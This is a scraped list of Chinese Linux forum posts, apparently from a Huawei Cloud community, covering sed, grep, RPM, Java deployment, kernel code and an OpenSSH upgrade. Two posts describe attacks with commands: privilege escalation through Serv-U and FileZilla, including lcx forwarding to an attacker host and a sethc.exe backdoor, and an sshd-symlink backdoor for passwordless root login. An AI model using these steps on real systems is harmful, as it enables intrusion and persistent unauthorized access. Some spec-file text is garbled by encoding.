• [技术干货] linux关于sed流编辑器那些事
    介绍:  流编辑器sed是最早支持正则表达式的工具之一,至今仍然被人们用来做文本处理。sed是一个脚本型、非交互式的编辑器。也就是说sed与常见的编辑器如vim有所不同,sed没有交互式的编辑界面,光标移动以及庞大的快捷键功能。工作原理:  sed是一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,接着用sed命令处理缓冲区中的额内容,处理完成后,再把缓冲区的内容输出到屏幕中去,口恶者采集下一行代码,这样不断的重复,直到文件末尾,除非使用重定向存储输出,否则文件内容并不改变,sed主要用来编辑一个或多个文件,简化对文件的反复操作,编写转换程序等。  一般情况下sed分为俩个内缓冲区,分别为模式空间和保持空间。sed会把第一行的内容装入模式空间,处理后输出到屏幕,然后继续把第二行内容装入到模式空间,在进行处理,依次循环直到结束。也可以大致的分为三步:  第一步:sed每次将标准输入中的内容中的一行读入模式空间  第二步:之后根据模式空间中的匹配条件进行匹配,符合条件进入下一阶段不满足则默认到输出为止,退出!  第三步:普通编辑之后可分为三个阶段             (1)普通结束后选择性的显示到stdout 结束;             (2)进入保持空间进行高级编辑,编辑结束后选择性显示到模式空间,之后再根据编辑命令重复。             (3)若出现多次编辑命令,则需要再返回模式空间根据编辑条件重复。作者:泽宇-Li
  • [技术干货] Linux部署Java项目-转载
     一、启动虚拟机 使用RockyLinux来实现  启动后登录rockylinux sudo su - 修改root用户密码 passwd 切换到客户端软件连接虚拟机 ifconfig 或  ifconfig | more 查看ip地址使用Bvssh软件连接   二、安装java环境 连接成功后,打开命令行界执行安装Java的命令:  yum install java 运行过程中出现y/N的选择,输入y,按回车 yum安装好的Java会自动配置环境变量  验证安装:  java -version 三、创建java项目 创建SpringBoot项目,勾选 Spring Web依赖  项目创建好之后,在项目的resources目录下static下创建html文件或复制需要的资源。  此处插入了一个名为index的html文件和一张名为image.PNG的图片。   内容编写完毕,在侧边栏选中maven运行package打包命令(右击并选中Run Maven Build)  打包成功后在target文件夹中找到生成的jar包  将生成的jar包拖入Bvssh软件提供的复制文件的工具中  选中New SFTP window,将文件拖入Remote files中   转到linux命令行  关闭防火墙(启动Springboot项目的界面不能关,可以新开一个界面输入命令) systemctl stop firewalld  输入ll(两个小写的L) ll 观察当前目录是否有我们拖入的jar文件。  若存在,执行运行jar文件的命令  java -jar [jar包名称]  例如:java -jar demo-0.0.1-SNAPSHOT  注意:[jar包名称]可以敲前面几个字母,按Tab自动补全 若顺利启动,会看到Spring的图形Logo  然后可以在windows中打开浏览器访问项目:[ip地址]:8080  例如:178.120.2.13:8080 演示效果如图所示:  ———————————————— 版权声明:本文为CSDN博主「Etseat」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_58480518/article/details/127873085 
  • [技术干货] 第三方软件提权  
    介绍:很多时候可能系统本身很安全,但是往往会忽略一些应用程序存在的漏洞,当然对于应用程序来说,可能本身设计得很安全,但是由于用了其他有漏洞的第三方组件而导致自身出现了很严重的漏洞。当收集信息时发现安装了某些第三方软件时,可通过定位其版本去寻找相关漏洞提权,下面将介绍几种比较经典的第三方软件提权。 1.Serv-U提权 Serv-U是一款FTP服务器软件,可用于服务器文件管理,在一些低版本的Serv-U 中存在提权的风险,下面以 Serv-U 6.4.0.4 为例,它的密码文件是“ServUDaemon.ini”,黑客拿到 Shell 后可以对该文件进行操作,并可以通过直接添加管理用户或者破解管理用密码的方式进行提权。 拿到一个低权限 Shell 后查看启动的服务,由于系统本身启动了很多服务,定位到服务后先收集此服务的信息为后续操作做准备,上传“accesschk.exe”,运行命令“accesschk.exe -ucqv Serv-U/accepteula”查看系统服务权限,发现users组户了“SERVICE START”和“SERVICE_STOP”,也就是可以启动和关闭该服务。2:FileZilla 提权 FileZillaFP服务器,台认监听14147端口,若配置不当,会造成低权限用户从FileZila件中读取信息,非法接后台,进而进行提权。运行命令“net start| findstr FileZilla”查看服务发现安装了FileZilla,运行命令“netstat-ano| findstr14147”查看14147端口,发现端口14147处于监听 状态。使用Webshell管理工具,从FileZilla安装目录的“FileZillaServerxml”文件中找到后台配置信息,发现未配置后台连接密码。下面考虑是否可以通过“lcx”将14147端口转发出来,然后接后台。首先在攻击机运行命令“lcx-listen1111 2222”监听1111端口并转发到2222端口使用,再使用 Webshell管理工具上传“lcx”,在靶机运行“1cx-slave 127.0.01 14147 192.168.0.123 1111”命令,将FileZilla的14147端口转发到攻击机的1111端口。然后用攻击机连接本地的2222 端口便可以连接FileZilla,通过图形化界面便可以添加用户和添加分享目录C盘,并授予所有的权限,这时候便可以利用Shift后门提权。由于给C盘授予了所有权限,所以可以通过使用 cndexe”替换“sethc.exe”,替换成功后远程连接目标系统,不需要登录系统,直接按次Shifit 镜并出 cmd 窗口,可直接以System权限执行系统命令。只做技术交流哦!
  • [技术干货] linux权限维持
    介绍:sshd 软连接是Linux 下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是“pam_rootok.so”模块,“pam_rootok.so”模块的功能是若用户UID 是0,则返回成功,当“/etc/pamd/ssh”文件配置了“auth sufficient pam rootok.so”时可以不需要密码登录。当在被控制端执行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234”建立sshd的软连接后门,PAM认证时会根据软连接的名字到“/etc/pam.d”目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了“/etc/pam.d/ su”,而“su”中默认配置了“auth sufficient pam rootok.so”,从而导致SSH可以不需要密码登录。 步骤:下面介绍一个sshd软连接权限维持的实例。 通常SSH服务默认使用PAM进行身份验证,运行命令“cat/etc/ssh/sshd_config grepUsePAM”查看“letc/ssh/sshd_config”是否开启 PAM 认证。然后运行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort-1234”建立sshd的软连接后门,运行成功后便可以用root用户使用任意密码登录。注意:创建 使用任意密码登录系统,这里可能会失败,原因主要有两个,一是root 用户禁止远  程登录,再者就是系统防火墙策略阻挡。运行命令“ssh root:1111@192.168.0.106 1234”发现成功登录到了目标系统,
  • [内容拦截申诉] 【博客】图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4
    发帖正文:内容所属频道:博客内容标题名称:图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4内容链接: https://bbs.huaweicloud.com/blogs/397475审核未通过,麻烦帮忙看看什么原因,如何修改
  • [问题求助] 有谁知道怎么下载linux桌面的安装包,没什么别的想法,只是想体验以下手动安装桌面
    有谁知道怎么下载linux桌面的安装包,没什么别的想法,只是想体验以下手动安装桌面
  • [技术干货] linux中grep命令使用实战详解【转】
    一. grep命令介绍Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。英文注解:grep ['grep] 搜索目标行命令· global [ˈgloʊbl] 全球的,球状的 regular 美 [ˈrɛɡjəlɚ] 有规律的,规则的, 正规军(n) expression 美 [ɪkˈsprɛʃən] 表达,表现,表情,脸色,态度例句: It's enough to make you wet yourself, if you'll pardon the expressionlinux支持三种形式的grep命令: grep , egrep ,grep -E二. 语法格式及常用选项依据惯例,我们还是先查看帮助,使用grep --help[root@mufeng test]# grep --help用法: grep [选项]... PATTERN [FILE]...在每个 FILE 或是标准输入中查找 PATTERN。默认的 PATTERN 是一个基本正则表达式(缩写为 BRE)。例如: grep -i 'hello world' menu.h main.c正则表达式选择与解释: -E, --extended-regexp PATTERN 是一个可扩展的正则表达式(缩写为 ERE) -F, --fixed-strings PATTERN 是一组由断行符分隔的定长字符串。 -G, --basic-regexp PATTERN 是一个基本正则表达式(缩写为 BRE) -P, --perl-regexp PATTERN 是一个 Perl 正则表达式 -e, --regexp=PATTERN 用 PATTERN 来进行匹配操作 -f, --file=FILE 从 FILE 中取得 PATTERN -i, --ignore-case 忽略大小写 -w, --word-regexp 强制 PATTERN 仅完全匹配字词 -x, --line-regexp 强制 PATTERN 仅完全匹配一行 -z, --null-data 一个 0 字节的数据行,但不是空行Miscellaneous: -s, --no-messages suppress error messages -v, --invert-match select non-matching lines -V, --version display version information and exit --help display this help text and exit输出控制: -m, --max-count=NUM NUM 次匹配后停止 -b, --byte-offset 输出的同时打印字节偏移 -n, --line-number 输出的同时打印行号 --line-buffered 每行输出清空 -H, --with-filename 为每一匹配项打印文件名 -h, --no-filename 输出时不显示文件名前缀 --label=LABEL 将LABEL 作为标准输入文件名前缀 -o, --only-matching show only the part of a line matching PATTERN -q, --quiet, --silent suppress all normal output --binary-files=TYPE assume that binary files are TYPE; TYPE is 'binary', 'text', or 'without-match' -a, --text equivalent to --binary-files=text -I equivalent to --binary-files=without-match -d, --directories=ACTION how to handle directories; ACTION is 'read', 'recurse', or 'skip' -D, --devices=ACTION how to handle devices, FIFOs and sockets; ACTION is 'read' or 'skip' -r, --recursive like --directories=recurse -R, --dereference-recursive likewise, but follow all symlinks --include=FILE_PATTERN search only files that match FILE_PATTERN --exclude=FILE_PATTERN skip files and directories matching FILE_PATTERN --exclude-from=FILE skip files matching any file pattern from FILE --exclude-dir=PATTERN directories that match PATTERN will be skipped. -L, --files-without-match print only names of FILEs containing no match -l, --files-with-matches print only names of FILEs containing matches -c, --count print only a count of matching lines per FILE -T, --initial-tab make tabs line up (if needed) -Z, --null print 0 byte after FILE name文件控制: -B, --before-context=NUM 打印以文本起始的NUM 行 -A, --after-context=NUM 打印以文本结尾的NUM 行 -C, --context=NUM 打印输出文本NUM 行 -NUM same as --context=NUM --group-separator=SEP use SEP as a group separator --no-group-separator use empty string as a group separator --color[=WHEN], --colour[=WHEN] use markers to highlight the matching strings; WHEN is 'always', 'never', or 'auto' -U, --binary do not strip CR characters at EOL (MSDOS/Windows) -u, --unix-byte-offsets report offsets as if CRs were not there (MSDOS/Windows)为了更直观一些,我们把常用的参数用表格来展示:参数描述-i忽略大小写-E启用POSTIX扩展正则表达式-P启用perl正则-o只输出正则表达式的匹配的内容-w整字匹配-v取反,也就是不匹配的-n输出行号有了具体的参数之后,我们再来看实战案例:三. 参考案例3.1 搜索文件中以root开头的文件以root开头的文件,可以用 ^root 比如查看/etc/passwd 中以root开头的文件,操作如下:12[root@mufenggrow ~]# grep ^root /etc/passwdroot:x:0:0:root:/root:/bin/bash3.2 搜索文件中出现的root搜某个单词,我们直接在grep后面跟上单词名字即可:案例一: 搜索/etc/passwd中的root用户1234[root@mufenggrow ~]# grep "root" /etc/passwdroot:x:0:0:root:/root:/bin/bashoperator:x:11:0:operator:/root:/sbin/nologin[root@mufenggrow ~]# 案例二: 从多个文件中搜索root12345678root@mufenggrow ~]# echo root >> a.txt[root@mufenggrow ~]# echo root >> b.txt[root@mufenggrow ~]# grep "root" /etc/passwd  a.txt b.txt/etc/passwd:root:x:0:0:root:/root:/bin/bash/etc/passwd:operator:x:11:0:operator:/root:/sbin/nologina.txt:rootb.txt:root[root@mufenggrow ~]# 3.3 搜索除了匹配行之外的行此处使用-v 参数,比如取反案例一: 统计文件的行数且不包含空行空行的表示方法: ^$123456789101112[root@mufenggrow ~]# cp /etc/passwd ./## 源文件一共35行[root@mufenggrow ~]# cat /etc/passwd |wc -l35## 追加空行进去[root@mufenggrow ~]# echo "" >> /etc/passwd[root@mufenggrow ~]# cat /etc/passwd |wc -l36## 去掉空行测试[root@mufenggrow ~]# grep -v ^$  /etc/passwd |wc -l35[root@mufenggrow ~]# 有时候我们修改了配置文件,文件中包含大量的# ,我们想去掉#查看内容,就可以使用12[root@mufenggrow ~]# grep -v ^# passwd |wc -l353.4 匹配的部分使用颜色显示这里可以使用 --color=auto,我们来查看一下包含root的行,并高亮显示要查找的root。1234[root@mufenggrow ~]# grep root /etc/passwd  --color=autoroot:x:0:0:root:/root:/bin/bashoperator:x:11:0:operator:/root:/sbin/nologin[root@mufenggrow ~]# 这样显示,效果不明显,我们看下图:可以看到,所有的root都是红色表示的。3.5 只输出文件中匹配到的地方比如我们要查询root,但我不想显示包含root的行,而是只显示要查询的内容:此时需要使用 -o 参数,代码如下12345[root@mufenggrow ~]# grep -o root /etc/passwdrootrootrootroot要注意,如果一行中有10个root,这里就显示10个,而不是只显示一个,所以3.4的案例中我们查询的时候,包含root的有两行,但有4个root,在3.5案例中,显示了所有的root。3.6 输出包含匹配字符串的行,并显示所在的行数此处可以使用-n 参数, -n 会在一行的前面加上 行号: 比如“4:”我们来看下代码示例:123[root@mufenggrow ~]# grep -n "root" passwd1:root:x:0:0:root:/root:/bin/bash11:operator:x:11:0:operator:/root:/sbin/nologin我们要统计一个文件一共有多少行,也可以使用-n 参数12root@mufenggrow ~]# grep -n "" passwd |awk -F : '{print $1}' |tail -n 1353.7 统计文件或者文本中包含匹配字符串的行数此时可以用-c参数:12[root@mufenggrow ~]# grep -c "root" passwd2包含root的有两行, 如果我们要统计文本的行数:12[root@mufenggrow ~]# grep -c "$" passwd35相当于查找 $的行数,可以看到一共有35个$符号,也就是35行。总结grep命令在日常工作中,应用的比较广泛,一定要认真学习,记熟记牢常用参数。转载自https://www.jb51.net/article/275765.htm
  • [技术干货] Linux中文件系统truncate.c详解【转】
    Linux-0.11 文件系统truncate.c详解free_ind1static void free_ind(int dev,int block)该函数的作用是释放所有的一次间接块。该函数首先读取一次间接块到bh中, 该bh块中存储了512个盘块号。1234567struct buffer_head * bh;unsigned short * p;int i;if (!block)    return;if ((bh=bread(dev,block))) {接下来就对这512个盘块号进行遍历,如果盘块号不为0, 就调用free_block(bitmap.c中)释放该盘块。遍历完毕之后,将一次间接块的bh块引用计数减1。最后将这个一次间接块也进行释放。12345for (i=0;i<512;i++,p++)    if (*p)        free_block(dev,*p);brelse(bh);free_block(dev,block);free_dind1static void free_dind(int dev,int block)该函数的作用就是释放所有的二次间接块。该函数首先对盘块号的有效性进行校验。123456struct buffer_head * bh;unsigned short * p;int i;if (!block)    return;接着读取二次间接块到bh中, 该bh块中存储了512个一次间接块的盘块号。接下来就对这512个一次间接块的盘块号进行遍历,如果盘块号不为0, 就调用free_ind释放该一次间接块所有的block。遍历完毕之后,将二次间接块的bh块引用计数减1。最后将这个二次间接块也进行释放。12345678if ((bh=bread(dev,block))) {    p = (unsigned short *) bh->b_data;    for (i=0;i<512;i++,p++)        if (*p)            free_ind(dev,*p);    brelse(bh);}free_block(dev,block);truncate1void truncate(struct m_inode * inode)该函数的作用是释放该inode所占据的磁盘空间。 该函数在iput函数(inode.c)中如果文件的链接数为0的时候被调用。代码最开始检查如果不是常规文件或者是目录文件,就跳过。1234int i;if (!(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode)))    return;释放直接引用块。12345for (i=0;i<7;i++)    if (inode->i_zone[i]) {        free_block(inode->i_dev,inode->i_zone[i]);        inode->i_zone[i]=0;    }释放一次间接块和二次间接块。12free_ind(inode->i_dev,inode->i_zone[7]);free_dind(inode->i_dev,inode->i_zone[8]);将一次间接块和二次间接块的地址置为0。将inode的size置为0, 将该inode设置为含有脏数据, 最后将inode的修改时候和创建时间都修改为当前时间。1234inode->i_zone[7] = inode->i_zone[8] = 0;inode->i_size = 0;inode->i_dirt = 1;inode->i_mtime = inode->i_ctime = CURRENT_TIME;到此这篇关于Linux中文件系统truncate.c详解的文章就介绍到这了转载自https://www.jb51.net/article/278871.htm
  • [技术干货] CentOS/RHEL 7.6升级OpenSSH(不升级OpenSSL)
    如果只需升级OpenSSH的话可以看我的另一篇文章CentOS/RHEL 7.6升级OpenSSH(不升级OpenSSL)这里升级OpenSSL是为了解决SSL/TLS协议信息泄露漏洞(CVE-2016-2183)本文构建完成的所有RPM包:OpenSSL 1.1.1k和OpenSSH 8.5p1安装依赖yum install -y wget rpm-build zlib-devel openssl-devel gcc perl-devel pam-devel unzip libXt-devel imake gtk2-devel openssl-libs脚本构建OpenSSL 1.1.1k RPM包在写本文时最新的版本是OpenSSL 1.1.1k,如果各位读者在看本文时有更新的版本可以直接将下面脚本中的1.1.1k替换为新的版本号#!/bin/bash set -e set -v mkdir ~/openssl && cd ~/openssl yum -y install \ curl \ which \ make \ gcc \ perl \ perl-WWW-Curl \ rpm-build yum -y remove openssl # Get openssl tarball curl -O --silent https://www.openssl.org/source/openssl-1.1.1k.tar.gz # SPEC file cat << 'EOF' > ~/openssl/openssl.spec Summary: OpenSSL 1.1.1k for Centos Name: openssl Version: %{?version}%{!?version:1.1.1k} Release: 1%{?dist} Obsoletes: %{name} <= %{version} Provides: %{name} = %{version} URL: https://www.openssl.org/ License: GPLv2+ Source: https://www.openssl.org/source/%{name}-%{version}.tar.gz BuildRequires: make gcc perl perl-WWW-Curl BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root # openssldir 可以自行更改 %global openssldir /usr/local/openssl Þscription https://github.com/philyuchkoff/openssl-RPM-Builder OpenSSL RPM for version 1.1.1k on Centos %package devel Summary: Development files for programs which will use the openssl library Group: Development/Libraries Requires: %{name} = %{version}-%{release} Þscription devel OpenSSL RPM for version 1.1.1k on Centos (development package) %prep %setup -q %build ./config --prefix=%{openssldir} --openssldir=%{openssldir} make %install [ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot} %make_install mkdir -p %{buildroot}%{_bindir} mkdir -p %{buildroot}%{_libdir} ln -sf %{openssldir}/lib/libssl.so.1.1 %{buildroot}%{_libdir} ln -sf %{openssldir}/lib/libcrypto.so.1.1 %{buildroot}%{_libdir} ln -sf %{openssldir}/bin/openssl %{buildroot}%{_bindir} %clean [ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot} %files %{openssldir} Þfattr(-,root,root) /usr/bin/openssl /usr/lib64/libcrypto.so.1.1 /usr/lib64/libssl.so.1.1 %files devel %{openssldir}/include/* Þfattr(-,root,root) %post -p /sbin/ldconfig %postun -p /sbin/ldconfig EOF mkdir -p /root/rpmbuild/{BUILD,RPMS,SOURCES,SPECS,SRPMS} cp ~/openssl/openssl.spec /root/rpmbuild/SPECS/openssl.spec mv openssl-1.1.1k.tar.gz /root/rpmbuild/SOURCES cd /root/rpmbuild/SPECS && \ rpmbuild \ -D "version 1.1.1k" \ -ba openssl.spec # For install: rpm -ivvh /root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm --nodeps # Verify install: rpm -qa openssl # openssl version构建完成后界面打印以下内容:检查未打包文件:/usr/lib/rpm/check-files /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 写道:/root/rpmbuild/SRPMS/openssl-1.1.1k-1.el7.src.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-devel-1.1.1k-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-debuginfo-1.1.1k-1.el7.x86_64.rpm 执行(%clean): /bin/sh -e /var/tmp/rpm-tmp.CdyqOD + umask 022 + cd /root/rpmbuild/BUILD + cd openssl-1.1.1k + '[' /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 '!=' / ']' + /usr/bin/rm -rf /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 + exit 0 # For install: rpm -ivvh /root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm --nodeps # Verify install: rpm -qa openssl # openssl version 升级OpenSSL1.卸载旧版注意openssl-libs不能卸载rpm -e `rpm -qa | grep openssl | grep -v libs` --nodeps 2.安装新版# 1.确定要安装的包 cd /root/rpmbuild/RPMS/x86_64/ cp openssl* ~/openssl cd ~/openssl rm -rf openssl-debuginfo-1.1.1k-1.el7.x86_64.rpm # 2.开始安装 [root@localhost openssl]# rpm -Uvh *.rpm --nodeps 准备中... ################################# [100%] 正在升级/安装... 1:openssl-1.1.1k-1.el7 ################################# [ 50%] 2:openssl-devel-1.1.1k-1.el7 ################################# [100%] [root@localhost openssl]# openssl version OpenSSL 1.1.1k 25 Mar 20213.安装完成根据已经升级的OpenSSL制作OpenSSH包创建所需目录上面OpenSSL的脚本已经把目录建好了,如果没有的话:mkdir -p /root/rpmbuild/{SOURCES,SPECS} cd /root/rpmbuild/SOURCES下载源码包wget http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.5p1.tar.gz wget https://src.fedoraproject.org/repo/pkgs/openssh/x11-ssh-askpass-1.2.4.1.tar.gz/8f2e41f3f7eaa8543a2440454637f3c3/x11-ssh-askpass-1.2.4.1.tar.gz tar -xvzf openssh-8.5p1.tar.gz tar -xvzf x11-ssh-askpass-1.2.4.1.tar.gz修改配置文件cp openssh-8.5p1/contrib/redhat/openssh.spec /root/rpmbuild/SPECS/ cd /root/rpmbuild/SPECS/ sed -i -e "s/Þfine no_x11_askpass 0/Þfine no_x11_askpass 1/g" openssh.spec sed -i -e "s/Þfine no_gnome_askpass 0/Þfine no_gnome_askpass 1/g" openssh.spec sed -i 's/BuildRequires: openssl-devel < 1.1/#&/' /root/rpmbuild/SPECS/openssh.spec vim openssh.spec 找到 %configure \的配置,加一行--with-ssl-dir配置,这里的目录就是上面OpenSSL安装的目录 %configure \ --sysconfdir=%{_sysconfdir}/ssh \ --libexecdir=%{_libexecdir}/openssh \ --datadir=%{_datadir}/openssh \ --with-default-path=/usr/local/bin:/bin:/usr/bin \ --with-superuser-path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin \ --with-privsep-path=%{_var}/empty/sshd \ --with-ssl-dir=/usr/local/openssl \ --with-md5-passwords \ --mandir=%{_mandir} \ --with-mantype=man \ --disable-strip \ 开始构建rpmbuild -ba openssh.spec …… 检查未打包文件:/usr/lib/rpm/check-files /root/rpmbuild/BUILDROOT/openssh-8.5p1-1.el7.x86_64 写道:/root/rpmbuild/SRPMS/openssh-8.5p1-1.el7.src.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-clients-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-server-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-askpass-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-askpass-gnome-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-debuginfo-8.5p1-1.el7.x86_64.rpm 执行(%clean): /bin/sh -e /var/tmp/rpm-tmp.Yhrfbl + umask 022 + cd /root/rpmbuild/BUILD + cd openssh-8.5p1 + rm -rf /root/rpmbuild/BUILDROOT/openssh-8.5p1-1.el7.x86_64 + exit 0升级OpenSSH备份配置文件mkdir ~/sshbak && cd ~cp /etc/pam.d/sshd sshbak/cp /etc/ssh/sshd_config sshbak检查一下sshd_config里的PermitRootLogin yes,如果这一项被注释掉或者是no的话需要改成yes,否则无法登录开始升级1.停止sshd服务 service sshd stop2.将做好的三个包放到同一个目录,我是直接放到了/root/cd /root/rpmbuild/RPMS/x86_64 cp openssh-8.5p1-1.el7.x86_64.rpm ~/ cp openssh-server-8.5p1-1.el7.x86_64.rpm ~/ cp openssh-clients-8.5p1-1.el7.x86_64.rpm ~/3.卸载旧版本的OpenSSHrpm -erpm -qa | grep openssh--nodeps4.rpm安装新版本[root@localhost ~]# rpm -Uvh *.rpm 准备中... ################################# [100%] 正在升级/安装... 1:openssh-8.5p1-1.el7 ################################# [ 33%] 2:openssh-clients-8.5p1-1.el7 ################################# [ 67%] 3:openssh-server-8.5p1-1.el7 ################################# [100%]5.还原配置文件[root@localhost ~]# cp sshbak/sshd /etc/pam.d/sshd cp:是否覆盖"/etc/pam.d/sshd"? y [root@localhost ~]# cp sshbak/sshd_config /etc/ssh/sshd_config cp:是否覆盖"/etc/ssh/sshd_config"? y6.授权并启动# chmod这一步不执行的话可能无法启动sshd服务 [root@localhost ~]# chmod 600 /etc/ssh/* [root@localhost ~]# service sshd start Starting sshd (via systemctl): [ 确定 ] [root@localhost ~]# ssh -V OpenSSH_8.5p1, OpenSSL 1.1.1k 25 Mar 2021升级成功现在已经升级到了OpenSSH 8.5,如果不需要使用scp的话可以卸载掉openssh-clients,因为OpenSSH 命令注入漏洞(CVE-2020-15778)是由openssh-clients引起的rpm -e openssh-clients-8.5p1-1.el7.x86_64 --nodeps精简升级步骤1.卸载旧版OpenSSL rpm -e `rpm -qa | grep openssl | grep -v libs` --nodeps 2.安装新版OpenSSL rpm -Uvh openssl* --nodeps 3.备份ssh文件 mkdir sshbak cp /etc/pam.d/sshd sshbak/ cp /etc/ssh/sshd_config sshbak/ 4.停止ssh服务 service sshd stop service sshd status 5.卸载openssh rpm -e `rpm -qa | grep openssh` --nodeps 6.安装openssh rpm -Uvh openssh* --nodeps 7.还原备份的ssh文件并启动ssh服务 cp sshbak/sshd /etc/pam.d/sshd cp sshbak/sshd_config /etc/ssh/sshd_config chmod 600 /etc/ssh/* service sshd start原文链接:https://www.kingc.top/archives/centosrhel76-sheng-ji-openssl-he-openssh
  • [技术干货] Linux操作系统rpm包安装方式详细步骤
      安装包(Install pack),即软件安装包,是可自行解压缩文件的集合,其中包括软件安装的所有文件。运行这个安装包(可执行文件),可以将此软件的所有文件释放到硬盘上,完成修改注册表、修改系统设置、创建快捷方式等工作。安装包文件多为exe格式。以下是小编帮大家整理的Linux操作系统rpm包安装方式详细步骤,仅供参考,大家一起来看看吧。  在Windows下安装一个软件很轻松,只要双击.exe的文件,安装提示连续“下一步”即可,然而linux系统下安装一个软件似乎并不那么轻松了,因为我们不是在图形界面下。所以你要学会如何在linux下安装一个软件。  在前面的内容中多次提到的yum,这个yum是RedHat所特有的安装RPM程序包的工具,使用起来相当方便。因为使用RPM安装某一个程序包有可能会因为该程序包依赖另一个程序包而无法安装。而使用yum工具就可以连同依赖的程序包一起安装。当然CentOS同样可以使用yum工具,而且在CentOS中你可以免费使用yum,但Redhat中只有当你付费后才能使用yum,默认是无法使用yum的。在介绍yum之前先说一说RPM相关的东西。  RPM是”Redhat Package Manager”的缩写,根据名字也能猜到这是Redhat公司开发出来的。RPM 是以一种数据库记录的方式来将你所需要的套件安装到你的Linux 主机的一套管理程序。也就是说,你的linux系统中存在着一个关于RPM的数据库,它记录了安装的包以及包与包之间依赖相关性。RPM包是预先在 linux机器上编译好并打包好的文件,安装起来非常快捷。但是也有一些缺点,比如安装的环境必须与编译时的环境一致或者相当;包与包之间存在着相互依赖 的情况;卸载包时需要先把依赖的包卸载掉,如果依赖的包是系统所必须的,那就不能卸载这个包,否则会造成系统崩溃。  如果你的光驱中还有系统安装盘的话,你可以通过”mount /dev/cdrom /mnt”命令把光驱挂载到/mnt目录下,那么你会在/mnt/CentOS目录下看到很多.rpm的文件,这就是RPM包了。  每一个rpm包的名称都由”-“和”.”分成了若干部分。就拿 a2ps-4.13b-57.2.el5.i386.rpm 这个包来解释一下,a2ps 为包名;4.13b则为版本信息;57.2.el5为发布版本号;i386为运行平台。其中运行平台常见的有i386, i586, i686, x86_64 ,需要你注意的是cpu目前是分32位和64位的,i386,i586和i686都为32位平台,x86_64则代表为64位的平台。另外有些rpm包并 没有写具体的平台而是noarch,这代表这个rpm包没有硬件平台限制。例如 alacarte-0.10.0-1.fc6.noarch.rpm 。下面介绍一下rpm常用的命令。原文链接:https://www.oh100.com/kaoshi/caozuoxitong/554541.html
  • [技术干货] RPM包安装
    1、如何安装rpm软件包rmp软件包的安装可以使用程序rpm来完成。执行下面的命令rpm -i your-package.rpm其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。安装过程中可能出现下面的警告或者提示:... conflict with ... 可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用rpm --force -i 强制安装即可... is needed by ...... is not installed ... 此包需要的一些软件你没有安装可以用rpm --nodeps -i 来忽略此信息也就是说,rpm -i --force --nodeps 可以忽略所有依赖关系和文件问题,什么包都能安装上,但这种强制安装的软件包不能保证完全发挥功能2、如何安装.src.rpm软件包有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法,方法一:执行rpm -i your-package.src.rpmcd /usr/src/redhat/SPECSrpmbuild -bp your-package.specs 一个和你的软件包同名的specs文件cd /usr/src/redhat/BUILD/your-package/ 一个和你的软件包同名的目录./configure 这一步和编译普通的源码软件一样,可以加上参数makemake install方法二:执行rpm -i you-package.src.rpmcd /usr/src/redhat/SPECS 前两步和方法一相同rpmbuild -bb your-package.specs 一个和你的软件包同名的specs文件这时,在/usr/src/redhat/RPM/i386/ (根据具体包的不同,也可能是i686,noarch等等)目录下,有一个新的rpm包,这个是编译好的二进制文件,执行rpm -i new-package.rpm即可安装完成。3、如何卸载rpm软件包使用命令 rpm -e 包名,包名可以包含版本号等信息,但是不可以有后缀.rpm。比如,卸载软件包proftpd-1.2.8-1,可以使用下列格式:rpm -e proftpd-1.2.8-1 rpm -e proftpd-1.2.8 rpm -e proftpd- rpm -e proftpd不可以是下列格式:rpm -e proftpd-1.2.8-1.i386.rpm rpm -e proftpd-1.2.8-1.i386 rpm -e proftpd-1.2 rpm -e proftpd-1有时会出现一些错误或者警告:... is needed by ... 这说明这个软件被其他软件需要,不能随便卸载可以用rpm -e --nodeps强制卸载4、如何不安装但是获取rpm包中的文件使用工具rpm2cpio和cpiorpm2cpio xxx.rpm | cpio -vi rpm2cpio xxx.rpm | cpio -idmv rpm2cpio xxx.rpm | cpio --extract --make-directories参数i和extract相同,表示提取文件。v表示指示执行进程d和make-directory相同,表示根据包中文件原来的路径建立目录m表示保持文件的更新时间。5、如何查看与rpm包相关的文件和其他信息下面所有的例子都假设使用软件包mysql-3.23.54a-11我的系统中安装了那些rpm软件包rpm -qa 